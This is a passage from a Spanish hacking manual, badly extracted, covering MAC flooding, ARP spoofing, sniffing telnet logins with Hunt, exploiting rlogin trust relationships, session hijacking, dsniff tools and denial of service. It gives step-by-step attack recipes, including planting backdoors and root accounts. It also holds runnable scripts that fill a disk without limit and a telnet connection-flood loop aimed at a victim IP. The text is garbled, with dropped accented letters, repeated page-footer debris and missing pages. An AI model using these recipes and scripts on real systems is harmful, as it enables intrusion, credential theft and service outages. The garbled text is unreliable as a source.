en la red con los puertos o sectores en que fueron "escuchados". Cmo se rellena de
forma dinmica, esta tabla se actualizar cada vez que se conecta una nueva mquina a
la red.
Como me dijo un pariente mo (ilustre, pero analfabeto), "todo lo que est dems sobra".
El switch tiene una memoria de tamao limitado, por lo que un gran nmero de interfaces
de red conectados a cada puerto podra, en casos extremos, llenar completamente Ia
memoria. Pensando en ello, los fabricantes de estos equipos las dimensionan para que
este lmite no se alcance nunca.
El problema es que una trama Ethemet no es ms que una cadena de unos y ceros que
puede, por tanto, ser manipulado. Un programa cuidadosamente escrito podra generar,
ad infinitum, tramas Ethemet con direcciones MAC aleatorias, y en unos pocos minutos,
llenar completamente la memoria del switch. Como el show no puede parar, este equipo
puede empezar a transmitir mensajes de forma indiscriminada a todos los puertos. Esta
tcnica se llama inundacin de MAC.
Dada esta situacin, cualquier sniffer puede
olfatear la red. Existen herramientas que
hacen esto (una de ellas, escrita en Perl, se
puede encontrar en www.safenetworks.com
/Others/3com4.html), pero los sniffers ms
modernos (como ettercap y dsniff) hacen
todo el trabajo.
Por suerte (o por desgracia, en funcin de
las ideas del querido lector), algunos
switches son inmunes a la inundacin de
MAC. Tambin, hay varias formas de
implementar switches. Se pueden utilizar
algoritmos de proteccin que impidan que la memoria se llene completamente. O un
sistema de deteccin de inundaciones, sobre la base de estndares de datos y una base
de los sniffers conocidos. Una tercera va sera la de adoptar una poltica de continuo,
mantenimiento de MACs conocidos a travs del tiempo en detrimento de las nuevas
interfaces, si la memoria procesa por lotes.
Para evitar este inconveniente, los hackers han desarrollado una tcnica llamada ARP
Spoofing. Esta tcnica es un poco ms complicada, pero muy inteligente. En lugar de
trabajar slo en la capa 2 (Ethernet), el atacante confunde al ordenador cuyo trfico desea
"esnifar" manipulando su tabla ARP.
231
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
232
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
233
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
237
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
-opt> a
src ip addr/mask ports [0.0.0.010]>
El programa pide la direccin IP y mscara de red de la interfaz de origen (src) que desea
monitorear. En nuestro caso, la interfaz de origen es la que se conectar a un servidor de
telnet, por lo que pondremos ahi la IP de la mquina Windows. Recordando lo que
aprendimos de Redes II, (cero) significa "todos". Por lo tanto, poner un cero en cualquier
lugar de la direccin indica que todas las mquinas con ese prefijo sern monitoreadas.
Por ejemplo, si pongo 192.168.1.1/32, monitoreara los paquetes originados en esa
mquina. Si pongo, por otro lado, 192.168.1.0/24, Hunt husmeara los paquetes de todas
las mquinas de la red 192.168.1.0, es decir, entre 192.168.1.1 y 192.168.1.254. En un
caso extremo, poner 0.0.0.0/0 sera lo mismo que decir el programa: "Recorre TODO!"
Ocurre lo mismo, introducido en la direccin de destino. La siguiente pregunta (insert at)
es simplemente para definir en que posicin de la lista aparecer nuestra regla.
La opcin "1" enumera las reglas vigentes de conexin. En nuestro caso, tenemos:
-opt> 1
0) 0.0.0.0/0 [all]
1) 192.168.1.1/32 [all]
-opciones de menu-*opt>
<->
<->
Observe que tenemos un asterisco en el prompt. Hunt nos est diciendo que las
mquinas estn "vivas" en la red. Para salir del modo opciones, utilice "x". Regresando a
la pantalla principal, tenemos la opcin de listar (1) las conexiones activas. Prubalo y
vers: no hay conexin en este momento. Entonces, vamos a crear una.
En la estacin de trabajo Windows (192.168.1.1) haremos una conexin Telnet con la
"Coitada". Abra una ventana de DOS y escriba telnet 192.168.1.2. Si todo est correcto,
ver la pantalla de login de la la mquina "Coitada" en la ventana de Telnet de la mquina
Windows. En la mquina Unix, vuelva a Hunt y elija la opcin "1". Magia: la conexin
apareci entre 192.168.1.1 y 192.168.1.2. El puerto de origen sera alto (como debe ser,
lea en el captulo Redes II y RFC1700), y el de destino es el 23 - el puerto de servicio
Telnet. Vamos a pedir a continuacin, a Hunt que nos muestre el trfico. Elija la opcin
"w" (watch), escoja la conexin que desea monitorear y luego la opcin "b" (both).
Vuelva a la mquina Windows y de su nombre de usuario y contrasea. Si nos fijamos en
Hunt, esta informacin se mostrar all. Si la conexin es exitosa, el prompt de shell de
Unix aparecer en el Telnet de la mquina Windows - y tambin en la pantalla de Hunt,
que esta en una la mquina que no particip en la operacin! Haga varias pruebas: liste
directorios, edite textos con su editor favorito o llame a un programa - todas estas
actividades sern monitoreadas por Hunt.
Para Hunt, esto es lo bsico. Debido a su simplicidad termina siendo limitado en sus
posibilidades, pero es muy til en la mayora de los casos. Obviamente hay mucho ms
que estudiar sobre el programa, pero lo dejo como deberes. Juega con Hunt por unos
das, husmea tu red, lea toda la documentacin y busque ms recursos en Internet.
Luego, pruebe a jugar tambin con el Snort, el Sniffit, el Ethereal y el IPTraf en Unix y
Windows. Seria deseable, parar por una semana o dos, y slo entonces seguir leyendo.
239
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Observe: existe una mquina servidor (llammosla "S") que tiene relacin de confianza
con otras mquinas (las llamamos "T1", "T2", "T3", etc) . Si el usuario se "logea" en la
mquina S, automticamente obtendr acceso a los recursos de las mquinas "T".
Aunque este servicio "es una herramienta fundamental" para los administradores de red y
permite a los usuarios iniciar sesin en un solo sistema para tener acceso a varios, si un
hacker consigue hacerse pasar por la mquina en la que tienen confianza, puede tener
acceso a todas las otras que "confan"en ella.
Tanto sistemas Unix como Windows (y tambin Novell ...) cuentan con instalaciones
similares. Windows 2000 tienen una caracterstica llamada Abvanced Directory Service
(o ADS), que contiene el registro de todos los usuarios y mquinas en la red y las
240
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
relaciones entre ellos. El usuario, al iniciar sesin en un dominio Windows, hace que su
nombre y contrasea se comparen con los de ADS y, de ser aceptados, todos los
servicios estn disponibles.
Novell cuenta con un producto llamado eDirectory (www.novell.com/es/productos/
eDirectory) basado en un ncleo, el Novell Directory Service o NDS. El software
funciona de la misma manera que el ADS de Microsoft, con una peculiaridad: no se limita
a los productos de Novell. De hecho, es posible a travs de eDirectory, crear conexiones
para todo tipo de plataformas de software y hardware imaginables, incluyendo en ella los
sistemas Unix, Windows, e incluso grandes sistemas.
Tanto eDirecory como el ADS se basan en un estndar llamado Lightwheight Directory
Access Protocol o LDAP. Hay versiones de LDAP disponibles para diferentes distros de
Unix. Uno de los ms famosos es los de OpenLDAP (www.openldap.org). versin libre,
gratuita y de cdigo abierto. LDAP es un forma segura de proveer a las aplicaciones Unix
(Windows y Macintosh tambin ...), los llamados single-sign-on (o registro de una sola
vez) y tener acceso a los recursos disponibles en zonas remotas de la red.
Pero los sistemas Unix tienen dos antepasados de estos servicios: NIS (Network
Information Service) y el tristemente clebre Unix Trust. Por su edad, ambos son
extremadamente inseguros y fcilmente hackeables . Hablaremos ms adelante de NIS,
ya que sus fallos no son de IP Spoofing.
Unix tiene una serie de comandos, todos comenzando por r (de remoto) que permiten
que diferentes sistemas puedan funcionar sin tener que autenticarse en cada uno.
Imaginemos, por ejemplo, que el usuario est registrado en la maquina A. La mquina B
confa en A, as que permite que los comandos r sean ejecutados en ella tambin. Por
ejemplo, si el usuario de la maquina A emite el comando rlogin IP.DE.B, se le mostrara
un shell de la maquina B sin tener que dar nombre de usuario y contrasea. B confa en
A, entonces B confa en los usuarios de A. Igualmente, actan los comandos rsh (shell
remoto - permite la ejecucin de un comando), rcp (copia remoto), rmail (leer e-mails
en otro sistema), entre otros. Para ser autorizado a ejecutar comandos, es necesario que
la IP de A est contenida en de archivo /etc/hosts.equiv de B. Todas las mquinas cuyas
IPs se encuentren en /etc/hosts.equiv son fiables para la maquina B . Adems de este
archivo, cada usuario B puede tener en su propio /home, una lista de las mquinas de su
confianza, guardada en el archivo .rhosts.
En el ejemplo anterior, todas las mquinas "S" y "T" son Unix. Las estaciones pueden ser
cualquier cosa. En cada una de de mquinas "T" mostradas hay un archivo, /etc/
hosts.equiv que contiene la IP de "S". As, todos los usuarios que se logeen en "S"
pueden tener acceso a los recursos de las mquinas "T". Se pueden construir shell scripts
241
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
con los comandos r, por ejemplo, para automatizar procesos y hacer la vida ms fcil a
los usuarios.
Pero qu sucede cuando utilizamos los comandos r? El usuario se registra en "S" y, a
travs de un comando rlogin, consigue un shell de "T3", sin que se le pida un nombre de
usuario y contrasea vlidos en "T3 ". Sucede que, en la prctica, el usuario est logeado
en "T3", y todas sus acciones se originan a partir de "T3" (no de "S" o de "H", su estacin
de trabajo ...). Si el intruso utiliza un escner contra el sitio web de la empresa o intenta
conectarse a un servicio por fuerza bruta en Internet, ser la IP de la "T3" la que sera
registrada, no la de "S" y mucho menos la de "H ".
Ahora es donde sucede la magia. Si ya somos usuarios registrados en "S", no hay
problema. Basta iniciar sesin en "S", dar un rlogin a T3 y usarlo. Pero, Y si no lo
somos? Incluso si lo somos, nuestros logs de "S" sern registrados, entonces qu
hacer?
Se puede "envenenar" una relacin de confianza entre dos mquinas usando spoofing, un
poco de sniffing y un poco de denegacin de servicio. Imagine una red de la empresa
donde hay una mquina llamada SERVLOGIN, en la que los usuarios se autentican, y
otras, cada una con un nombre que hace referencia a los recursos que ofrece (por
ejemplo, IMPRESORA, FISCAL, INTRANET, VAX, financieros, entre otros .. ..) Todas
estas mquinas utilizan el archivo /etc/hosts.equiv para "confiar", a juicio de SERVLOGIN,
respecto a que usuarios tienen permiso para acceder a sus recursos. Imagine tambin
que, en algn lugar desconocido a travs de Internet, existe una mquina "H" que se
quiere conectar a algn ordenador interno.
242
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
- Nuestro objetivo est, entonces, trazado : queremos que una de las mquinas (por
ejemplo, INTRANET) "piense" que "H"es en realidad SERVLOGIN. Con esto, tenemos un
shell en lNTRANET, con una direccin IP disponible, para utilizarla en nuestras maldades
cmodamente all
Vamos a dar una "receta de pastel" para este ataque. Es la mejor manera de explicar la
teora de cada uno de los pasos. Para mayor claridad en el texto, llamaremos a cada uno
de los equipos slo por sus nombres ("H"en lugar de "el equipo H" o "S"en lugar de
"servidor S").
1. "H", inicia varios - de hecho, miles de - conexiones reales, no simuladas (es decir, sin
suplantacin de identidad), a INTRANET. "H" enva varios paquetes SYN y espera por los
ACK de INTRANET. En base a estos ACK, "H" puede deducir (o ms bien imaginar) la
progresin de los nmeros de secuencia TCP generados por INTRANET. As, "H" puede
tener una idea de los nmeros a utilizar ms tarde, al conectar con el sistema de
INTRANET.
2. Despus de eso (o a la vez, si el atacante tiene otra mquina) lanza un ataque de
denegacin de servicio contra SERVLOGIN. Con SERVLOGIN fuera de juego, impedimos
que el mismo enve un paquete TCP RST y haga caer nuestra conexin "imitada".
3. Utilizando uno de los comandos r, "H" inicia una conexin a INTRANET usando la IP
de SERVLOGIN. INTRANET responde con un ACK a SERVLOGIN, que est fuera de
combate debido a una denegacin de servicio.
4. Ahora, la magia: "H" enva un ACK a INTRANET, con la IP de SERVLOGIN y una
estimacin del nmero de secuencia TCP - calculado por la progresin detectada en el
paso 1 ms el tiempo que todo el proceso tom para llegar aqu.
5. En caso de acertar al instante (el hacker slo tiene una oportunidad ...) La
comunicacin se establece y se mantiene mientras SERVLOGIN este cado. Si te
equivocas, puedes repetir la receta hasta acertar.
En algunos sistemas es ridculamente fcil de predecir la secuencia de TCP, en otros no
tanto, y hay unos pocos lugares donde esta secuencia (?) es casi aleatoria (?!?!??). La
previsibilidad de ella dir si el sistema es fcilmente hackeable por este mtodo - o no.
Recuerdas esas viejas canciones como "Juan amaba a Mara que amaba a Peter ..."?
Pues eso. En el paso 3, "H" inici una conexin con INTRANET fingiendo ser
SERVLOGIN . Para iniciar esta conexin, utiliz un comando r (por ejemplo, un rlogin).
Si el intruso acert la secuencia TCP, se encuentra con una shell de INTRANET. Slo que
INTRANET "piensa" que quien inici la comunicacin es SERVLOGIN, y enva las
respuestas a esa mquina. Resultado: "H" puedes dar rdenes, pero no tiene idea de si
funcionan o no - no hay feedback en la pantalla.
Si esto puede parecer suficiente para hacer dao (as como las vulnerabilidades
discutidas previamente, tales como el desbordamiento de pila o CGIs "amigos"), el hacker
puede utilizar este shell (y tambin el desbordamiento de la pila, as como los CGIs ...)
para configurar rpidamente una puerta trasera en INTRANET.
243
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Recuerde que SERVLOGIN est en rojo con la denegacin de servicio, pero recuperara el
conocimiento en cualquier momento y cortara la comunicacin (con un TCP RST) entre
INTRANET y "H". Entre las cosas que el atacante podra hacer en la mquina de
INTRANET estn:
- Establecer la IP de "H" en /etc/hosts.equiv;
- Crear un usuario con derechos de root en /etc/passwd;
- Implementar cualquier tipo de puerta trasera.
Hay ms opciones que estas. A partir de estos cambios, el hacker puede instalar varias
puertas traseras, incluir ms mquinas en el hosts.equiv (o incluso el smbolo + +, lo que
hace que INTRANET confe en cualquier persona ...) y crear otras cuentas en el sistema.
Por supuesto, los administradores atentos notarn inmediatamente los cambios, por lo
que es bueno utilizar esta mquina para rpidamente "Invadir" otras. No hay que olvidar
que, por ingenioso que sea el procedimiento, herramientas de IDS, y auditorias de
archivos, pronto descubrirn el exploit.
Como tarea en casa, le sugerimos al lector que busque documentos en Internet sobre los
siguientes tipos de suplantacin de identidad:
- DNS Spoofing
- Source Routing
- Proxy Spoofing
- Daisy-chain Spoofing
Captura de sesiones (Secuestro)
Recuerdo las lecciones de matemticas de primer grado de primaria (hoy se llama la
Educacin Bsica, pero es lo mismo ...). Los problemas matemticos se resolvan
dividiendo la hoja del cuaderno en tres campos: enunciado matemtico, clculo y la
respuesta. En el enunciado matemtico, ponamos lo que, aos ms tarde, aprendimos
que se conoce como la ecuacin algebraica (o la desigualdad o frmula). Un enunciado
matemtico debe ser algo claro y muy detallado, para que la persona que lea la resolucin
del problema pueda entenderlo de un vistazo. En el campo clculos , las cosas eran ms
libres. Nosotros podamos llenar totalmente el espacio con notas y clculos, manteniendo,
obviamente, algo de "limpieza", sino la nota era cero!. En la respuesta, se permita poner
slo el resultado de nuestros clculos. En nuestros estudios sobre invasiones, podemos
poner en nuestro enunciado matemtico, el siguiente problema: Sniffing + Spoofing =?
Hagamos los clculos, y a continuacin, veamos lo que da.
En las pginas anteriores hemos visto que el sniffing es una manera de saber lo que est
sucediendo en una red local, aunque los datos en trnsito no sean nuestros. Por otro lado,
podemos enviar datos a otros equipos fingiendo ser una tercera persona - esto es
suplantacin de identidad. Es fcil ver que combinando estas dos tcnicas, podemos
"robar" una sesin entre dos equipos. Cmo que robar?, se preguntara el lector. Una
imagen vale ms que mil palabras:
244
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Observe que A, B y H no tienen por qu estar en la misma LAN. H puede estar, en efecto,
en la LAN de A, en la de B o en cualquier subred intermedia. La malla de routers
mostrada podra ser sustituida por una "nube" en representacin de la red como un todo incluso poda ser Internet. Lo importante es que H debe estar en algn punto por el cual
estn pasando los paquetes entre A y B. La conexin entre A y B puede ser cualquier
cosa, como una llamada HTTP o correo electrnico que se transmite a travs de SMTP.
Capturando una sesin de chat ICQ, por ejemplo, podemos seguir hablando con B,
mientras l cree que somos A. Capturando una sesin de FTP, SMB (redes Microsoft) o
Telnet entre el usuario A y el servidor B, por ejemplo, podemos navegar a travs de
servidores sin tener que iniciar sesin (login) - Como en ocasiones anteriores, B ahora
piensa que somos A. Se encendi una "lucecita" ah dentro? Pues eso, hay otras
maneras de acceder a los sistemas ademas de la fuerza bruta y el desbordamiento de
bfer ...
En realidad, por ms que los mecanismos de autenticacin sean seguros (contraseas de
un solo sentido, encriptacin, firmas digitales, etc.), Se puede capturar cualquier
comunicacin DESPUES de que se haga la autenticacin, y ahorrarse la parte aburrida.
Las empresas por lo general gastan millones en el desarrollo de esquemas de
autenticacin seguros y se olvidan de que una vez hecho, el sistema SIEMPRE cree que
el usuario es el mismo - y como hemos visto, no siempre lo es ...
Otra de las caractersticas de un secuestro de sesin es que, es necesario estimar o
predecir la progresin y la previsibilidad de los nmeros de secuencia TCP. El atacante,
parado a mitad de camino entre las dos estaciones, tiene acceso a la evolucin real de los
nmeros de secuencia TCP, por lo que puede controlarIos cuando esta hacindose pasar
por otro. En nuestro ejemplo, H est cuidadosamente registrando todas las
comunicaciones entre A y B, incluyendo las secuencias TCP.
En la prctica, los pasos a seguir son los siguientes:
1. H debe observar - con las tcnicas de sniffing - la comunicacin entre A y B por un
tiempo razonable, para determinar el tipo de conexin, el protocolo en uso (HTTP, SSH,
FTP, Telnet, MSN, ICQ ...) y la secuencia TCP en ambas direcciones. Todo esto debe ser
registrado en un archivo y analizado. Una vez que la conexin est bien, "escarbada",
decida que es interesante para secuestrarIa y determine los medios para hacerlo,
entonces podemos iniciar la captura.
2. H comienza - con las tcnicas de suplantacin de identidad (spoofing) - a "engaar" a
B, hacindole pensar que H es A. La forma ms comn es que H simplemente cre trfico
245
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
conexin correspondiente. Aqu no hay RST pues el originador de la conexin fue realmente - A y no H. "A" pasa a ser necesaria y no inoportuna.
- La denegacin de servicio es algo poco elegante - y usted es vanidoso, no?
La respuesta se encuentra en algunas pginas un poco ms atrs. Cuando hicimos
sniffing activo, utilizamos la tcnica de ARP spoofing (suplantacin de identidad) para
confundir al switch y a las propias estaciones, poniendo nuestra mquina en medio de la
conexin. Para ello, usamos el programa Hunt en un entorno man-in-the-middle. Pues
bien, podemos utilizar la misma idea para evitar la tormenta ACK. Con todo el trfico
pasando por la mquina que est escuchando a la red, podemos controlar la propagacin
de estas ACKs falsas.
En esta configuracin, est claro que, como no hay problema de tormenta ACKs,
podemos ejecutar comandos en la mquina de destino (B en el ejemplo). Obviamente,
cuando la conexin entre H y B se cierra, la diferencia entre los nmeros de secuencia
TCP que A enva y que B espera es tan grande que la sincronizacin entre A y B es
imposible - y la conexin entre ellas tambin cae. Sin embargo, programas de Hijack
modernos (como Hunt y Dsniff) poseen instrumentos para resincronizar las conexiones,
as que una desconexin fortuita no causar sospechas.
- Seleccionando sus combatientes
Por supuesto est la posibilidad de hacerlo todo manualmente. Sin embargo, la forma
ms sencilla es utilizar las herramientas especialmente concebidas para ello. Una de ellas
es Hunt, visto en la sesin de sniffing. Hunt tiene dos opciones interesantes: simple
hijack y arp/simple hijack. El men de opciones, ofrece tambin algunas posibilidades muy
interesantes, como "arp spoof with my mac" (recuerdas ARP Spoofing?), learn MAC
from IP traffic e switched environment (herramientas para engaar a los bridges y los
switches).
El Dsniff, otra suite de sniffing mencionada previamente, tambin cuenta con
herramientas para capturar sesiones. Adems del propio programa Dsniff (especializado
en sniffing), la suite incluye las siguientes herramientas:
Herramientas de sniffing incluidas en Dsniff:
- filesnarf: copia en la mquina del hacker los archivos que viajan en una conexin NFS
(Network File System) entre los dos otros equipos.
- mailsnarf: reproduce en la maquina invasora mensajes de e-mail transmitidos por POP o
SMTP. Con modificaciones en el cdigo del programa, tambin puede leer los mensajes
IMAP y UUCP. Los mensajes se almacenan en formato mailbox - legibles por casi todos
los programas de email disponibles.
- msgsnarf: registra toda conversacin entre dos personas que estn usando servicios de
mensajera instantnea, AOL Instant Messenger, ICQ 2000, IRC, MSN y Yahoo.
- urlsnarf: olfatea peticiones HTTP y las presenta en el formato Common Log Format
(CLF).
Herramientas de suplantacin de identidad (Spoofing) incluidas en la suite Dsniff:
247
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
249
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
250
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Sendmail en Unix ), el dao ser mayor. Si la basura tirada en la pila es realmente grande
en cantidad, es posible que todo el sistema se caiga.
- Acceso sin restricciones: Los usuarios con acceso privilegiado (por ejemplo, un
administrador de red insatisfecho con su salario) pueden hacer distintas "maldades" como
reconfigurar servicios o matar procesos importantes, adems de plantar caballos de
Troya, bombas de tiempo y varios tipos de virus . Hay varias herramientas en Internet que
se prestan a ese papel, e incluso script-kiddies con un poco ms de cerebro pueden
crear herramientas sencillas para hacerlo. Quieres un ejemplo? En una mquina
Windows, cree un archivo DATOS.BAT y en su interior, escriba:
@ ECHO OFF
ECHO Hacker > DATOS.DAT
:
VOLTA
TYPE DATOS.DAT >> SYSTEM.DAT
TYPE SYSTEM.DAT >> DATOS.DAT
GOTO VOLTA:
Ejecute el programa DATOS.BAT y podrs ver los archivos DATOS.DAT y SYSTEM.DAT
crecer indefinidamente. En un shell de Unix es tan fcil como. Prueba el siguiente script
(lo llamamos datos.sh):
#/bin/sh
touch datos. dat
touch systern.dat
echo hacker >> datos.dat;
while [ 1 = 1 ];
do
cat datos.dat >> systern.dat;
cat systern.dat >> datos.dat;
done;
Ejecute el pequeo programa (datos.bat en Windows, sh datos.sh en Unix) a ver qu
pasa. Aparentemente nada, pero si le das un ls de Unix o el comando dir de DOS para
listar los archivos (en otro shell o en otra ventana de DOS) vers que el tamao de
DATOS.DAT y SYSTEM.DAT crecen de forma exponencial a medida que pasa el tiempo.
Rodando por un minuto (60 segundos) el tamao ser de aproximadamente 100 MB cada
uno. Diez minutos ms y tendra dos archivos de 1 GB cada uno, en 60 minutos (una
msera hora) se han ocupado 12 GB. Los programas en DOS y Unix muestran un
rendimiento similar cuando se ejecutan en el mismo hardware.
Observe que ninguno de los dos scripts necesito privilegios especiales para la ejecutarse:
fueron ejecutados directamente en la zona autorizada para el usuario y usaron
herramientas y recursos disponibles en el sistema - no es necesario instalar nada. Tenga
en cuenta tambin que los cuatro asuntos enumerados - cancelacin o destruccin, el
consumo de recursos, las vulnerabilidades locales y los cambios en el acceso sin
restricciones, pueden ser bien implementados en los virus que te llegan en lnea por
Internet y por disquetes y CDs infectados! De hecho, los virus informticos, desde que
surgieron a principios de los 80, son un ejemplo clsico de negacin de servicio local!
253
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Pero todo esto es de muy bajo nivel. Si un sistema informtico est a merced de obreros
armados con mazas y picos alguien debe perder su trabajo - probablemente el vigilante
de seguridad o el director general ... Sin embargo, hay algunos tipos de ataques
orquestados externamente - en otra parte de la red interna de la empresa o incluso a
travs de Internet.
Denegacin del servicio remoto
Adems de el anonimato inherente a los ataques remotos, hay una multitud de mtodos y
herramientas que permiten que un ataque remoto tipo DoS sea destructivo. Vamos a
ceirnos ms a la teora sobre DoS e indicar algunas herramientas para llevar a buen
puerto estos ataques. Mas como es, de largo, el mtodo ms popular de ataque,
documentado y comentado en Internet, dejaremos al lector buscar ms informacin al
respecto.
Hay dos "subtipos"; de ataques DoS remotos. Algunos de ellos atacan las
vulnerabilidades conocidas en los sistemas objetivo - como los fallos RPC que dio lugar a
la cada de nueve de los 13 enrutadores raiz de Internet (todos los de EE.UU.) en octubre
de 2002. El otro gran grupo de DoS remoto busca agotar todos los recursos del objetivo,
ya sea ocupando el ancho de banda, multiplicando incontroladamente procesos en el
servidor HTTP, o con una avalancha de e-mail - posiblemente acompaados de virus
potenciadores del ataque, como Klez y Bugbear. El famoso y antiguo Ping de la Muerte,
tipo de ataque que usaba la utilidad Ping para generar paquetes ICMP defectuosos y
enormes, perteneca a los dos tipos: generaba una fragmentacin defectuosa de los
paquetes y a la vez consuma ancho de banda.
Un ejemplo de herramienta de DoS remoto del primer tipo es el veterano WinNuke. El
programa aprovechaba un fallo existente en Windows 95 y Windows NT 3.51: el caso del
puerto 139 (nuestro viejo conocido del intercambio de archivos en redes Microsoft) reciba
paquetes no vlidos en lugar del protocolo SMB, y el sistema operativo se caa. Hay
versiones actuales de WinNuke que explotan otras vulnerabilidades - una vez que esta se
fij en Windows 98 y NT4 - y tambin trabajan con el agotamiento de recursos.
Para aprender ms sobre este tipo de herramientas, busque por DoS o malformed packet
dos attack en su buscador. Numerosas herramientas para este y otros ataques se
pueden encontrar en packetstormsecurity.nl/DOS/ y www.astalavista.box.sk.
Considerando el segundo tipo, el tipo ms comn de ataque es el SYN Flood o inundacin
de paquetes TCP SYN. Recuerda nuestro primer intento de spoofing? Envibamos un
SYN con una direccin IP de origen diferente a la nuestra. En esa ocasin, no pudimos
establecer una conexin suplantada por dos razones:
1. Como la mquina atacada no conoca nuestra IP real, no nos pudo contestar;
2. La mquina por la cual nos hacamos pasar devolva paquetes TCP RST y termin con
nuestra conexin - y nuestra alegra ...
En el caso de un DoS por SYN Flood, que nos importa si tenemos o no respuesta? Lo
que cuenta es enviar la mayor cantidad posible de TCP SYN falsificados, para que el
equipo de destino se encargue de responderlos y no tenga tiempo para responder a otras
254
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Otra posibilidad es utilizar un mensaje UDP en lugar de ICMP. Hay un servicio llamado
"echo" que se ejecuta en el puerto UDP 7, que simplemente devuelve a la direccin de
origen todo lo que llega por ella. Bien, imagine entonces, enviar un paquete UDP
spoofado cuyo origen es IP 127.0.0.1 (es decir, un loopback - en otras palabras, la
propia mquina) y la IP de destino es la IP de la mquina. En tal situacin, el paquete
UDP entra en un bucle dentro de la mquina. Un pequeo nmero de estos paquetes es
suficiente para comprometer toda la pila TCP/IP del sistema operativo y consumir grandes
porcentajes del ancho de banda de red disponible. Extrapolando del mismo modo que en
el ataque Smurf, se puede enviar al puerto UDP 7 de numerosas mquinas, paquetes con
IP de origen igual al de la vctima. Todos ellos devolvern el regalo a la mquina atacada comprometiendo de nuevo la banda. Si el hacker usara broadcast, entonces, lo que era
una leve maldad se convierte en una calamidad. Este tipo de ataque se llama Fraggle.
255
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Adems de estos mtodos que tumban la mquina de la red, existen otros ms sutiles, e
incluso algunos inusuales. Por ejemplo, te acuerdas de nuestros programas de fuerza
bruta? Algunos sistemas, slo para evitar ser invadidos por fuerza bruta, limitan el nmero
de conexiones permitidas (el nmero vara, pero el nmero habitual es de tres). Bueno
pues, entonces, un programa de fuerza bruta puede ser usado para bloquear
sistemticamente todas las cuentas del sistema, evitando que cualquier usuario inicie la
sesin. Tres accesos en cada cuenta son suficientes, lo que hace la operacin muy rpida
y eficaz.
Tambin se pueden multiplicar las conexiones a un servicio especfico hasta que todos los
recursos del servidor en cuestin se consuman - sea en la forma de procesos abiertos, o
sea por agotamiento de banda. Por ejemplo, si queremos tumbar un ordenador cuyo
servidor Telnet est conectado, basta que ejecutemos un script como este en nuestra
mquina Unix:
while [1=1] ;
do
telnet ip.de.la.vctima.aqui &
done;
Se puede hacer lo mismo en Windows con un poco ms de trabajo. Cambia Telnet por el
lynx y tienes una herramienta para causar el mismo dao en los servidores HTTP. Vuelve
a usar el comando "mail" y podrs llenar el servidor SMTP, etc. Tambin es posible hacer
lo mismo con el ping, Microsoft Network, SSH, FTP (servidores FTP Novell Netware son
especialmente apetecibles), Usenet, Finger, MS SQL, MS Access, ICQ Creo que ya
habeis "cogido" la idea.
Pese a que los ataques descritos anteriormente se puede hacer de forma manual por los
hackers de verdad, hay algunas herramientas que facilitan y automatizan este tipo de
ataque - los "lammers" las adoran. Estas herramientas se pueden encontrar a montones
en los mismos lugares mencionados anteriormente: packetstormsecurity.nl/DOS/ y
www.astalavista.box.sk. En la direccin www.astalavista.com/biblioteca/ddoslbasics
/intro.shtml hay un tutorial interesante (en Ingls) sobre los diversos tipos de pequeos
ataques DoS, locales y remotos que se pueden probar. Estudie todos ellos, buscando en
internet ejemplos e informacin adicional acerca de cada uno.
Pero hay algo mucho peor que DoS simple: los ataques por denegacin de servicio
remoto distribuido, o DDoS.
Denegacin de Servicio Remoto Distribuido
Los ataques Smurf y Fraggle ya son formas efectivas de amplificar ataques originados en
un solo punto, por esa razn se les llama "lupa". Sin embargo, incluso si se utiliza esta
lupa, el ancho de banda disponible para el atacante es limitado, y el no puede mantener
un ataque con muchos paquetes para cada mquina amplificadora y mantener, al mismo
